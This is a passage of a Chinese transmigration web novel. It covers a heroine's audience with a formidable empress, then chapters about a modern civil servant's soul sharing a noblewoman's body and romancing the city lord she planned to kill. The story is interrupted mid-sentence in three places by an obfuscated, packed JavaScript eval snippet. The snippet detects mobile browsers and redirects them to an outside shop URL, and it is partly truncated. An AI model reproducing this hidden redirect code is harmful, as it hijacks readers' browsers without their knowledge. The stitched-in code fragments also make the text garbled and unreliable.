在盛京的日子里,她听过不少关于皇后的事迹,关于其独操权柄、把持朝政,关于其破家灭口、雷霆手段,关于其荒淫无道、水性杨花……以及她手下遍布熙国大街小巷的木兰商行。 爱她的人爱到愿意为她去死,恨她的人恨不得将她挫骨扬灰。 无论哪种形象,都和“好相处”扯不上关系。 尤其在自己住在她儿子家里的情况下。 庄非鱼搓了搓手,拿出北山鄢修改过的文章温习了一遍,想着到时候问话可不能露出马脚。 李念儿看出她的紧张,安抚道: “别怕,娘娘是个不拘小节的人。” 不拘小节? 庄非鱼脑海当即浮现出一个横刀立马的女将军来。 “哪里不拘小节?郗娘娘最是温柔善良不过了!” 郗名伟在一旁反驳。 温柔善良? 众人齐齐望着郗名伟,眼神惊悚。 “本来就是!” 郗名伟不服气道: “娘娘上回在郗府见了我,还对我说‘好孩子,别把时间浪费在学习上’呢。” 众人收回视线,想着那没事了。 至少郗皇后是个慧眼如炬的人。 等了半个时辰,教授礼仪的女官来了。 女官们下轿后,领头的女官一边宣读圣旨,一边对庄非鱼笑着眨眼。 庄非鱼一看,这不是郗名微吗? 郗名微念完圣旨,亲自扶庄非鱼起来,对她说: “我是主动请缨来教你的。” “哦?” 庄非鱼有些意外。 她以为皇天寺相见后,两人再无交集呢。 郗名微一句说罢,便开始讲觐见的礼节,参拜的过程,和其他需要注意的地方。 在场只有庄非鱼和苏巧巧没进过宫,这些内容主要是讲给她俩听的。 庄非鱼认真学了,学完后,郗名微合上册子,对庄非鱼微笑道: “离觐见还有几个时辰,不知庄姐姐可否领我逛一逛除魔司?” 她都这样说了,庄非鱼自然答应。 庄非鱼领着她去小花园那边,路上介绍除魔司的布局和方才几个同事。 郗名微一直可有可无的听着,直走到人烟稀少的地方,才突然问她: “庄姑娘可知道,东宫论理会有多少个女人?” 庄非鱼懵了一下,条件反射摇了摇头。 郗名微微笑道: “太子当有正妃一名,侧妃两名,才人五名,其余妾室不计入等级。” “你说这话的意思是?”庄非鱼不解。 郗名微停下脚步,望着她的眼睛道: “庄姐姐,太子尚且如此,何况帝王?表哥是陛下和娘娘的独子,板上钉钉的帝王,后宫不可能只有一位妻子。如今我家世显赫,你深受宠爱,你我联手,定能带来更大利益。” 庄非鱼同样看着她的眼睛,微笑道: “我的男人只会有我一个妻子。” 郗名微道:“世事岂能尽如你意?” 庄非鱼道:“是啊,没准北山鄢明天说他想出家呢。” “庄姐姐真是性情中人。”郗名微莞尔一笑。伸手向她: “那我们堂堂正正竞争,场上为敌,场下为友。” “场上为敌,场下为友……好。” 庄非鱼伸出手和她握上,浅浅一下,一触即离。 领郗名微在除魔司吃了一顿工作餐后,下午几人入宫觐见。 庄非鱼按照吩咐,一路不怎么抬头。 走了好长一段路后,庄非鱼闻见一股清幽的香气。 她略微抬头,看见道路两旁种满木兰花,香味是从这些圣洁雅致的花朵上散发出的。 郗名微带她们站在坤和殿门口,门口侍立的太监小跑过来,低声告诉她: “稍等片刻,娘娘正在接见户部尚书。” 郗名微略一颔首,转头告诉庄非鱼: “再等一会儿。” 庄非鱼点了点头,听坤和殿内,一道低沉从容的女声道: “听闻夏尚书擅水墨,前几日作的《千山重翠图》,深得董巨淡墨轻岚之真趣。” 另一道中年男子的声音立马响起: “有一分似董巨已是臣之大幸。” 砰的一声,重物落地,庄非鱼被吓了一跳。 女声冷道: “水墨气运飘渺自有意境,只是掌理贡赋,当以写实为宜。” “是,是,臣这就回去修改文书,重新表章。” 片刻后,一个胖胖的中年男子走出来,庄非鱼侧身让了一下,看见他脸颊涨红,汗珠顺着脖子一路滑进衣襟里。 庄非鱼心想: 里面的八成就是郗皇后了,真是好大的威严,看这大叔都吓成什么样了。 待户部尚书离开后,太监连忙进去禀报。 那道女声轻柔有力道: “宣进来。” 郗名微使了个眼色,带着庄非鱼几人进去,行礼道: “臣等拜见娘娘。” “起来吧。” 庄非鱼起身,偷瞄了一眼郗如许,一下被震慑住了。 那是熠熠生辉的宝壁,象征权利的金龙和象征厮杀的饕餮盘旋其上,一股似烟的云气弥漫萦绕,前方是山河和金玉堆出来的美人。 郗如许平平看了她一眼,那一眼沉静冷冽,不带丝毫情绪,却让庄非鱼手忙脚乱,紧张不已。 她想过许多种样子,可怎么也想不到,郗如许竟然是这样。 这样似神似佛,难用言语描述半分。 然后郗如许笑了,这一笑像木兰盛开,刹那清辉。 她说:“别怕,我吓他的。” 庄非鱼愣了一下,才想起她说的是方才汗湿衣襟的户部尚书。 她这才感受到,郗如许确实是北山鄢的母亲,两人性格像极了。 郗如许向后微靠,气定神闲道: “庄姑娘,你是怎么救阿鄢的?” 庄非鱼略一沉吟,将她改造加工后的故事又讲了一遍。 中间郗如许时不时问些两人相处的细节,听着听着大笑起来,仿佛第一次见到孩子的另一面。 庄非鱼心想: 看来这对母子关系挺好的。 听完故事后,郗如许吩咐赏官赏金,当场给庄非鱼转了正。 庄非鱼醉酒似的,一步深一步浅的告退。 看她晕晕乎乎的样子,李念儿笑话道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268301|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “人走了,魂丢了。” 郗名微揣袖笑道: “不怨她,第一次见到娘娘的人都是如此。” 庄非鱼睁着眼睛,只觉满眼满口都是木兰花的香气。 那香气缠着她,寸步不离,直到出了宫门,苏巧巧拽着她的袖子,轻声喊: “小鱼,你看那边。” 庄非鱼茫然一望,登时被吓醒了。 宫门不远处,一条金玉富贵、罕有人至的街道,分列两行店铺。 店铺门前,木兰小旗随风飘摇。 庄非鱼震惊看着店铺名字,一个个默念过去: 哈佛、剑桥、牛津、北大、清华、墨尔本…… 念完和苏巧巧对视一眼,两个眼中写了几个大字: 有其他穿越者! 苏巧巧轻声说: “我从来不知道,还有这样一条街。” “这条街啊?” 李念儿随口道, “这是木兰商行大掌柜的私产,如此好的地段,她非要卖蜜饯果子,还起了些稀奇古怪的名字。” “木兰商行大掌柜?” 庄非鱼和苏巧巧对视一眼,齐声问: “他叫什么名字?” “她好像叫……赵木兰。” 李念儿回忆道。 庄非鱼不死心问: “你再想想,有没有可能他叫元宵?” 庄非鱼的小伙伴,和她一道穿越过来的185大帅哥元宵,进入这个游戏后,至今下落不明。 她接受黎世集团的邀请进入游戏,有一部分原因,也是想找回元宵。 李念儿陷入游移,思考自己的记忆是否正确,郗名微却笃定道: “正是赵木兰。” 她说: “赵姨十几岁便投靠郗府,成为皇后娘娘的贴身侍女。娘娘入宫后,她一直在外经商,如今富可敌国。” 哇哦! 庄非鱼和苏巧巧又对视一眼。 这真是一位大佬啊。和赵木兰相比,她俩就像穿越过来凑数的。 庄非鱼问她: “你知道怎么联系赵木兰吗?我有一点不成熟的商业建议想和她聊聊。” 郗名微笑容尴尬起来,她一时间没绷住,露出“就你,还想和富可敌国的赵大掌柜谈商业”的表情。 但名媛就是名媛,她很快调整情绪,对庄非鱼道: “赵姨常年在外奔波,不过这条街尾就是木兰商行总部,去总部送信给她,她或许会看到。” 庄非鱼望了一眼苏巧巧,对她说: “下班陪我回东宫,咱们写一封信给赵掌柜,没准还能赚点零花钱呢。” 苏巧巧连连点头。 几人抬腿离开,李念儿却似乎感应到什么,站在那里一动不动。 庄非鱼疑惑回头,见李念儿抬头望天。 她跟着抬头,一只雪白僵硬的假鸽子直直俯冲过来,摔在青石板上,弹跳两下,吐出一道黑烟。 “这倒霉鸽子……” 苏巧巧一边抱怨,一边走过去捡起来,摁下开关。 鸽子张嘴,先是一阵猛烈的喘息声,随后,翟流云慌张的声音传出来。 他说: “救……” 后面嗡的一声,再无声息。 众人心中一惊,齐齐抬头望向李念儿,只见她浑身颤抖,脸色煞白。 49. 泽国樵苏 “泽国江山入战图,生民何计乐樵苏。 凭君莫话封侯事,一将功成万骨枯。 传闻一战百神愁,两岸强兵过未休。 谁道沧江总无事,近来长共血争流。” 这是唐代曹松写的一首诗,也是何樵苏名字的由来。 何樵苏祖辈都是农民,对她父母来说,孩子就像田里的麦子一样长一茬收一茬,于是她有了三个弟弟妹妹。 她人聪明,长得也好。给她起名字的老师曾经对她父母说: “这个孩子以后一定能成事。” 果不其然,何樵苏成为村里第一个大学生。去报道那天,整个村子都轰动了,乡亲们纷纷给她筹了学费,期盼她能成材。 上完学去找工作,她听老师的话考了个乡镇,后面一步步走到县里。眼看前途一片光明时,她猝死了。 何樵苏觉得自己只是睡了一觉,醒来不知为何,躺在一间古色古香的房间地板上。 头顶正上方挂着一条白绫。 她迷茫地坐起身,浮上心头的第一个想法竟然是: 领导布置的材料还没写完。 她感觉脖子干疼干疼的,便站起身,去给自己倒了杯水。仰头饮水时,看见一张全然陌生的面孔,和脖颈上深深的勒痕。 她吓了一跳,水杯几乎掉到地上,脑海中突然传来一声尖叫。 一道哀哀婉婉的女声问: “你是谁?” “你又是谁?”何樵苏反问她。 那道女声颤颤巍巍地回答: “我,我是贺兰音,贺城城主之女。” “贺城城主之女……” 何樵苏环视房间一圈,问她: “你为什么自尽?” 贺兰音哭哭啼啼道: “我父退了我的婚事,要将我嫁给那恶如罗刹、杀人如麻的墨城城主。” “这也值得你付出生命?” 何樵苏皱起眉头,斥责道: “不想嫁就跑,你父亲总有看不住的时候。跑不了也就一段婚姻而已,想办法让他再把你休了,人活着怎么都有可能。” “怎能如此?”贺兰音微弱反驳,“我也是读四书五经、女则女戒长大的。” “以后少看那玩意儿。” 何樵苏晃了晃身体,走到镜子前,观察这张新面孔。 娇娇怯怯,弱柳扶风,仿佛下一秒就能晕倒。 贺兰音嗫嚅道: “您是哪位大仙?能否从我身体里出去?” 何樵苏笑道: “我呀,孤魂野鬼一个,我也不知道怎么出去。” 她忽然意识到什么,目不转睛看着镜子问: “你都不想活了,还关心这具身体做什么?” 贺兰音哭道: “我,我要以死明志,以证贞洁。” “以死明志?” 何樵苏很久没听过这种词了。 她问贺兰音: “你既然读过四书五经,那你认得司马迁吗?” 贺兰音道: “认得。” 何樵苏道: “司马迁有一句话说:人固有一死,或重于泰山,或轻于鸿毛。你这样一声不吭死在房里,旁人听了顶多骂句晦气。既然你连死都不怕,不如我们搞个大的,赢了名留青史,输了不过一死而已。” “如何……大?”贺兰音迟疑道。 “刺杀墨城城主。”何樵苏眼中流光一闪。 那声音一滞,似乎晕了过去。 “贺兰音,贺兰音?” 何樵苏连着叫了几声,没人应声。 她耸了耸肩,为这位娇小姐的承受能力感到抱歉。 眼看贺兰音没了声音,何樵苏翻箱倒柜,找了一件严严实实能遮住脖颈勒痕的衣服换上,随后打开门,大喊一声: “有没有人?” 话音刚落,她突然意识到自己崩人设了。 应该学贺兰音娇娇弱弱的样子。 院内洒扫的丫鬟很快过来,何樵苏扶住脑袋,倚在门上,轻声道: “我饿了,给我拿些吃的来。” 丫鬟立刻答应,放下扫帚就去吩咐厨房。 何樵苏美美吃了一顿,连过几天醉生梦死的生活。 这样享受的生活过上一两天也就罢了,可时间长了,就像有针在刺挠自己,让她坐立不安。 加上贺兰音在脑海中寻死觅活,她便决定搞点事情。 她先是吩咐丫鬟,让丫鬟告诉父亲自己想通了,愿意嫁给墨城城主。取得父亲信任后,又以挑陪嫁的名义进入城主私人宝库。 然后卷了一堆金银财宝,连夜逃走。 何樵苏扮作男子,一路游山玩水,进入墨城。 听说城主府正在招婢女,她便找了个客栈恢复女装,站在门口张望。 贺兰音在脑海中哭泣道: “堂堂城主之女怎能为奴为婢?” “闭嘴。”何樵苏堵了她一句,继续观察。 城主府仅需三名婢女,可足足有几十位女子报名,看来古往今来,领导身边永远不缺想进步的人。 何樵苏这样感叹,突然脑袋一痛,身躯僵直,几乎无法掌控身体。 她意识到贺兰音的反抗,连忙游说道: “成大事者不拘小节,韩信尚能受胯下之辱,我们当个婢女又如何?等咱们刺杀成功,救了贺城危机,人们只会赞颂你贺兰音忍辱负重,有勇有谋!” 贺兰音一听,犹犹豫豫安静下来。 “此话当真?” “当真!” “那你怎么不去报名?” “再等等,还没到时机。” 何樵苏一声声承诺,终于摆平贺兰音。 她观察许久,听管事们谈天说地,记下他们不经意透漏的信息。 直到天色将黑,报名者散去后,她才慢悠悠过去,拦住一个长相俊秀的青年管事。 她扯着青年管事的袖子,学着贺兰音的语气,楚楚可怜喊了一声: “卢哥哥,可否借一步说话?” 青年管事回头,看见是个貌美女子,便跟她走到角落,语气和缓道: “有什么事?” 何樵苏柔柔一笑,轻声问他: “哥哥看着好生面善,是不是晋城的汉子?晋城卢县芦花小巷。” 青年管事吃了一惊,问她: “你怎么知道?” 何樵苏道:“卢哥哥,我是巷尾的小花妹子啊!你忘了吗?” “小花妹子?”卢奚疑惑念道。 叫小花的姑娘太多了,他实在想不起面前的姑娘是哪个。 何樵苏急道: “就是小花啊,小时候你还和那群小子欺负过我呢!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268303|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说着说着眼圈一红,泪珠将落未落,眼看就要哭出来。 卢奚还是没想起来,但见美貌妹子要哭,怜香惜玉之心大起,连忙应承: “我记起来了,你是巷尾的小花妹子,你这是来……” “家里困难,父母将我提脚卖了,我不愿意,一个人逃到墨城来投奔姨妈,可姨妈她……” 何樵苏说着说着,眼泪吧嗒吧嗒落下。 卢奚顿时手忙脚乱,抬起袖子要给她拭泪,何樵苏顺势抱住他的腰,抽泣道: “卢哥哥,要不是见了你,我真要一头扎进河里了。” 卢奚更是无措,他僵着身子说: “可我……我没有地方安顿……” 不等他说完,何樵苏泪眼朦胧,抬起头问他: “卢哥哥,你方才在做什么?我有没有打搅到你?” “我在……招婢女,对啊!我在招婢女!”卢奚眼睛一亮,握住何樵苏的手道: “小花,城主府正在招婢女,如果你不嫌弃,来府里当个婢女,也能养活自己。” 何樵苏幽幽道: “我怎么会嫌弃呢,只要能时常看见哥哥。” 听她答应,卢奚欢喜地牵她过去,吩咐记名的仆从: “这儿还有一位,名字是小花。” “大名何樵苏。” “好,记上何樵苏的名字。” 有了卢管事青睐,加上何樵苏外形条件也不差,她便顺理成章进入城主府。 一路上贺兰音都在骂她,口里说些“你竟牵外男的手,还抱外男的腰”“我不活了”之类的话。 何樵苏用极大的意志力压住她,最后压不住,气道: “这点事儿你都忍不了,还指望名归故里?再说了,人卢管事长得这么俊,摸两把是咱们占便宜好不好?” 贺兰音从未听过如此厚颜无耻的话,不由发抖道: “你,你,你上辈子一定是□□!” “你要这么想我也没办法。” 何樵苏摊了摊手,做足渣女风范。 她劝贺兰音: “你连死都不怕,还怕什么失了名节?就算失了名节又如何?你现在叫何樵苏,有谁能骂到你贺兰音头上?再说了,撩了这么一个俊秀小帅哥,你难道一点儿都不开心?” 贺兰音的道德观观摇摇欲坠,她躲到角落大哭起来。 何樵苏前世背负无数人的希望,一步不敢行差踏错,如今没了包袱,便开始放飞自我,解放天性。 借着卢管事的光,她被分到最清闲的藏书阁。 进去后这处瞧瞧那处看看,看见书架上有《红楼梦》,便屏住呼吸,怀着迫切的隐秘的希望取下来,小心翼翼翻开。 然后大失所望: “怎么换了个世界,红楼还是未完?” 贺兰音讥讽她: “我当你满心只有男人,怎么还看上书了?” 何樵苏不在意她的小脾气,随口道: “都是精神食粮嘛。” 她用指尖滑动书页,对贺兰音说: “我上辈子最大的梦想,就是年轻时成就一番事业,被无数人铭记,然后攒一笔钱归隐田园,赏花赏月赏书生……” “赏什么?”贺兰音怀疑自己听错了。 “赏书卷。” 何樵苏啪的一声合上书本,开始打扫卫生。 50. 云声何处 看了两三天书,何樵苏大感无聊。 她上学时那么喜欢看书,上班最大的期望,就是退休以后住在图书馆附近,每日看看书刷刷手机。 可清闲的日子才过了几天,她就受不了了。 府里沸沸扬扬,说墨城城主在练兵,决定一个月后攻入贺城,贺兰音听闻后认了命,在她脑海中悲观哭泣: “兵戈之事,我们女子又能做些什么呢?” 何樵苏没声好气道: “总比你自尽强。” 贺兰音哀怨道: “至少能留个清白之身。” 何樵苏更头疼了,她撂开书本,伸了个懒腰,转身走出藏书阁。 走到前院,她远远瞧见一个三十左右、成熟稳重的管事,便快步凑上前去,笑嘻嘻行礼: “郦哥哥,我看大家都急匆匆的,是有什么忙事吗?需不需要我搭把手?” 郦管家是府里的大管事,何樵苏早早就和他搭上关系,几天下来,已经极为熟稔了。 见是何樵苏,郦管家笑着递给她一盆鲜花: “下午城主要回来,我正差人收拾府邸,你若闲着,帮我把这些花摆一摆。” 何樵苏接过盆栽,敬了一礼: “保证完成任务。” 说罢目送郦管家离开。 等郦管家走远后,何樵苏抬头一望,发现除了她之外,还有两个婢女在搬弄花盆。 何樵苏绕着花转了一圈,发现婢女只是简单将花盆围在一起,没有任何心机巧思,便灵机一动,走过去对她们说: “两位姐妹,我来教你们布景。” 两个女孩疑惑抬头,其中的红衣婢女心直口快问道: “你是哪位?” 何樵苏笑了笑,道: “我是哪位不重要,重要的是,郦管家对你们很不满。” “郦……郦管家?” 绿衣婢女结结巴巴,慌乱溢于言表。 “没错,你们难道没注意到,方才郦管家往这边瞪了好几眼吗?”何樵苏继续忽悠。 两个婢女对视一眼,皆慌乱起来。 方才郦管家确实看了这边好几眼,她们以为管家是在监工,原来是在表达不满? 何樵苏又说: “刚才郦管家指着摆好的这一边问我:府里的盆栽怎么这样杂乱?是不是那两个婢子偷懒懈怠?” 两个婢女一听,连忙抓住她的衣袖,解释道: “冤枉啊,这些年,我们都是这样摆花的。” “问题就出在这里!” 何樵苏斩钉截铁道, “其他府邸每年都在推陈出新,我们城主府却一成不变。郦管家去外头看了人家的新布景,回来再一看我们的……” 自然大动肝火。 婢女补全何樵苏的未尽之语,哀求道: “求姑娘教教我们。” “成吧,我说,你们来摆。”何樵苏果断答应。 一整个早上,何樵苏就动了些嘴皮子,便收获郦管家和两个婢女的好感。 等婢女千辛万苦,用三色花盆摆出一朵郁金香的造型,还对何樵苏千恩万谢后,她这才挥挥手离开。 贺兰音一直在脑海冷嘲热讽,嘲讽她帮两个婢女做事,有失体统。 何樵苏有空了,才用哄小孩的语气道: “你还小,不懂群众基础有多重要。” “勾引男子也重要吗?”贺兰音冷哼一声,继续讽刺。 何樵苏奇道: “我什么时候勾引过男子?” 贺兰音羞恼道: “你对卢管事、郦管家、车护卫……甚至连送菜的小哥都不放过!” 何樵苏慢悠悠说: “这是正常的社会交往啊,怎么能叫勾引?” “你对他们笑,还说些似是而非的亲昵话,真是羞死人了!” 贺兰音更气了。 两人你一句我一句的拌嘴,不知不觉走回藏书阁。 此时太阳正烈,藏书阁的门大开着,照进灿烂暖黄的光,何樵苏向里一望。 阳光下,一个身披银甲、英姿勃勃的少年在安静看书。 何樵苏的眼神一定,从少年的窄腰,滑到他的长腿,再慢慢向上,越过冰冷的银甲,最后落到他樱花般的唇瓣上。 她眉眼一弯,对贺兰音轻声道: “乖宝,我让你见识一下,什么才是勾引。” 说罢取下束发的绿丝带,系到手腕上,向少年走过去。 听见有人过来,少年抬眼望过去,神情是纯然的天真。 他张口欲问来者何人,何樵苏却快他一步,伸手捂住他的嘴唇。 她凑近到少年耳边,轻声说: “嘘,我知道你是来偷偷看书的,悄声些,别被外面人听见。” 话音落罢,何樵苏放开手,一触即离。 她眉眼弯弯问: “看你的打扮……你是外院的侍卫吗?” 少年含含混混点了点头。 “你叫什么名字?”何樵苏继续问。 “云,声。”少年顿了一下,慢吞吞回答。 “云声。” 名字在何樵苏舌尖滚了滚,她微微歪头,道, “我叫何樵苏。‘泽国江山入战图,生民何计乐樵苏’的何樵苏,是看守这座藏宝阁的人。” “藏宝阁?” 云声被她的说法吸引住了。 “是呀,只是主人不来寻宝,这些日子,我只见了你一个人。” 何樵苏失落道,随后扬起笑脸: “藏书阁不许闲杂人等进来,以后你若想看书,我给你指一条路。” 她的手指从云声的手臂滑下去,一路滑到他的掌心,然后牵住他骨节分明的手,侧脸向他招了招: “跟我走。” 那动作分明暧昧,可神情却坦坦荡荡。 云声牵住她白皙柔软的手,只觉自己的手臂酥酥麻麻,痒到心里。 忽然,他看何樵苏脸色一变,慌张甩开他的手,泫然欲泣道: “我,我牵了陌生男子的手,以后该怎么嫁人?” 说罢含嗔带怨望了眼云声,转身泪奔。 何樵苏几乎要吐血了。 她正撩得起劲,刚牵住云声的手,贺兰音却激烈挣扎,一时爆发占回身体,撂下云声跑掉了。 这就是一体双魂的烦恼。 何樵苏心累道: “差一点,差一点我就能搞到手了,你为什么阻挡我们的美好生活?” 贺兰音跑到院里停下,抚着胸口犹豫半晌,羞涩道: “还有卢哥哥呢。” “卢哥哥?”何樵苏想了想,“那个卢管事?我都忘了他叫什么了。” “他叫卢奚!”贺兰音急道,“我们既然先抱了卢哥哥,这辈子就是他的人了,你怎能水性杨花背叛他呢?” “你不会是……喜欢上他了吧?” 何樵苏目瞪口呆。 贺兰音脸红红道: “反正不许你再靠近其他男子,我们要为卢哥哥守身如玉。” “这不可能。”何樵苏果断摇头。 “为什么?”贺兰音问。 “因为我不喜欢卢奚。” “不喜欢你为何要抱他? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268304|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “试试他的腰细不细喽,卢奚已经是过去式了,我现在一心只想钓云声。” 贺兰音呆立片刻,哭泣道: “你,你不许这样。” “谁让你当初自尽?既然放弃了这具身体,为什么还要掌控她?” 何樵苏重新占据身体,慢条斯理攻破她的心理防线。 贺兰音大哭道: “我后悔了,我不要死了,我要我的身体。” “晚了,身体已经被我这个孤魂野鬼占一半了。” 何樵苏对她说: “我们是两个灵魂,自然有两个喜好。不如这样,你追你的卢哥哥,我追我的云弟弟,咱们互不干涉。你谈的时候我不打扰你,还会给你支招,我谈的时候你也别打扰我,安静吃瓜好不好?” 贺兰音想了又想,知道自己奈何不了何樵苏,只好委委屈屈答应了。 她心想: 等回了贺城,一定要找个道观,将两人的灵魂彻底分开。 然后……再招卢哥哥当上门女婿。 听说他家里人都不在了,那就让他来贺城,给他一个新的家。 想到这里,贺兰音心里甜甜的。 她扭扭捏捏问何樵苏: “我,该怎么和卢哥哥相处?” * 何樵苏拿捏了贺兰音的喜好后,和她好生相处了一段时间。 和云声的关系也是突飞猛进。 唯一难受的点是: 她和贺兰音虽说是双魂,但却在一具身体里,勾搭两个男人的同时,还要查探墨城城主的行踪……未免太累。 大清早,贺兰音红着脸,娇娇怯怯递出自己绣的荷包。栀子花下,她和卢奚隔了有一米远,互相纯情扭捏不敢看向对方。 吃完早餐,何樵苏接管身体,和云声约好藏书阁相见。云声迟了一会儿,何樵苏就含怒拧住他,坐到他的腿上,搂住他的脖子,仰头问: “你到底有几个好妹妹?” 云声僵直在那里,连忙解释说: “一个也没有。” “我不信,” 何樵苏轻轻扇了他一巴掌,嗔怒道: “要不然你怎么迟到?” 云声结结巴巴道: “我布置了一处景色,所以来迟了,我想带你去看看。” 何樵苏呆了一下。 她拜托了郦管家,下午带她偷偷看一眼墨城城主的。 时间冲突怎么办? 于是何樵苏仰头,在他唇上轻轻印上一吻,等云声低头要加深这个吻时,她陡然松开手,从云声腿上跳下来,轻哼一声道: “我生气了,要三个时辰不理你!” 云声收回手,像只淋雨的大狗狗一样,失落道: “那我三个时辰后再来找你。” 何樵苏向他挥了挥手,目送他离开后,连忙奔去找郦管家。 郦管家见了她,点了点她的鼻尖,宠溺道: “算你运气好,城主刚说要出门打猎,令我随侍左右。你跟上我,我带你见见城主真颜。” 何樵苏高兴地答应,跟在郦管家身后。 随侍的仆从侍女逐队成群,人人手里都捧着东西,何樵苏跟着跟着就落到末尾。她力争上游,又挤开人群走到前面去。 郦管家率领众人跪下,肃声道: “禀城主,臣已备好行装。” 房内一声响动,何樵苏仰着脖子探头去看。那双柳叶眼,和刚出房门的墨云声直直对上。 一堆奴仆中,墨云声一眼就看见何樵苏。 双眼对视那一瞬间,两个人都有些慌乱。 51. 百口莫辩 何樵苏大惊失色,瞪大眼睛,没想到云声竟然是墨城城主? 所以这些日子,她一直跟自己要刺杀的对象谈情说爱? 不愧是我啊,一挑就是最优秀的男人。 何樵苏诡异的脑回路开始运行,贺兰音在她脑海中大喊: “是他!他就是墨城城主,我们待会儿就去杀了他,阻止大军压境。” 何樵苏舍不得美色,支支吾吾道: “或,或许有些误会,他看上去杀人不如麻呀。” 贺兰音一听,捂住眼睛开始哭泣: “我就知你不是真心想救贺城,你这个贪财好色的女人,我上了你的当,呜呜呜。” 何樵苏无奈低头,一直在脑海中哄着贺兰音。 看到何樵苏躲避自己的眼神,墨云声一下子慌了。 他心想:完了,当初真不应该认下假身份,现在覆水难收。 何樵苏会不会觉得他满口谎言,从此再也不见他? 他越想越乱,最后扔下一句: “今日不打猎了。” 便急匆匆回房,逃避骤然揭开的现实。 何樵苏见他躲避回去,想也知道——这个男生害怕了。 墨云声今年不过十八,脑子里除了打仗就是兵器,从未经历过男女之事。 第一次谈恋爱,就遇上她这个渣女,算他命里该有一劫喽。 郦管家起身,吩咐众仆散了,何樵苏麻溜走人,一路思忖着回到藏书阁,想着等墨云声找来时,怎么能让利益最大化。 想着想着,她写材料的DNA动了,于是翻出纸笔,沾墨就写: 【关于申请暂停墨城攻打贺城的报告】 刚写完标题,何樵苏抽了自己一巴掌,心里暗骂: 何樵苏啊何樵苏,你真是不想进步了,向上反映问题,需要上级协调解决应该用请示! 于是她划掉报告,改成: 【关于申请暂停墨城攻打贺城的请示】 她思考一下,觉得不应该用暂停,应该用停止,于是提笔划掉暂停二字。 洋洋洒洒一篇写完,她满意地欣赏一遍,题上落款处的时间和姓名,打算再写一篇时,她突然意识到: 我这是在古代啊摔! 何樵苏又给了自己一巴掌,重新换成竖版文言形式,连写三篇,落款从后向前数四个字的空格,题上自己的大名。 写完请示,贺兰音在她脑海中哭哭啼啼,非要她手刃墨云声不可。何樵苏无奈,只能去厨房寻摸一把水果刀,别在腰间告诉贺兰音: “闭嘴,一会儿就刀他。” 直到天黑,墨云声才踌躇着进来。 何樵苏点着灯,安静坐在那里,一言不发。 见墨云声进来,她双目一垂,一行清泪落下。 何樵苏泪眼朦胧,含恨带怨哭诉道: “你为什么是墨城城主?” 墨云声一下子乱了阵脚。 他以为何樵苏会骂他隐瞒身份,为此已经打了千遍腹稿。 可,这是个什么问题? 墨云声走到她面前,轻轻拭去她的泪水,蹲下身,仰头看着她。 他说:“你打我吧。” 何樵苏低头,用手指挑起他的下巴,恨声道: “我恨不得杀了你。” 暖光下,两人的剪影映在窗上,仿佛接吻般亲昵的姿势。 墨云声低头了,他移开视线,委屈道: “我只是瞒了你一件事,你就要杀我。” 何樵苏松开手,冷冷看着他: “我母亲是贺城人,嫁到了墨城。听说你要攻打贺城后,她整日以泪洗面,祈求玉清道君保佑我外祖父一家平安。如今我半个家都在你的兵戈之下,你叫我如何不恨?” “贺城……” 墨云声默念一瞬,抬头望她,决然道, “我不打了。” “什么?”何樵苏愣了。 这么严肃的事就这样随随便便承诺了? 那她后面的剧情怎么演? 何樵苏无措道: “你不攻城,其他将士会不会不同意?” “不会,” 墨云声不假思索道, “攻城只是我无聊时的游戏而已,你不喜欢,就不打了,我明日便吩咐军营。” 何樵苏心里一万个震撼,面上还装出感动的样子。 她俯身抱住墨云声,在他耳边轻轻道: “谢谢你的仁慈,我和贺城都会很感激你的。” “那你原谅我了?” “原谅了。” 墨云声松了一口气,伸手去搂她的腰,摸到腰间时,突然被硌了一下。 他疑惑地抽出匕首,问何樵苏: “这是做什么?” 何樵苏身躯一僵,干笑两声,转身拿出那沓进谏的文章,老实道: “我本来想先文谏,文谏不成就以死相逼。” 老实中带八百个心眼子。 墨云声露出真拿你没办法的无奈表情,将匕首收回自己腰间,宠溺道: “以后别拿自己的性命开玩笑。” 说罢接过那沓文章,一并收回袖口。 * 何樵苏和墨云声过了许久的甜蜜生活。 贺兰音和卢奚的恋情亦飞速发展,两人已经交换信物,准备成亲了。 两处奔两处瞒的高强度运动下,贺兰音的身体不再像以前那样病恹恹的,如今能面不改色跑八百米。 她的心理承受能力更是巨变,一开始被男人碰一下胳膊就要寻死觅活,现在已经开始考虑该如何瞒着两个男人办两次婚礼了。 只是纸终究包不住火。 墨云声能感觉到,有时何樵苏望他的眼神炙热温柔,有时却露出明显的嫌弃厌恶来。 两人经常相处好好的,她却忽然脸色一变,找个借口就支开自己。 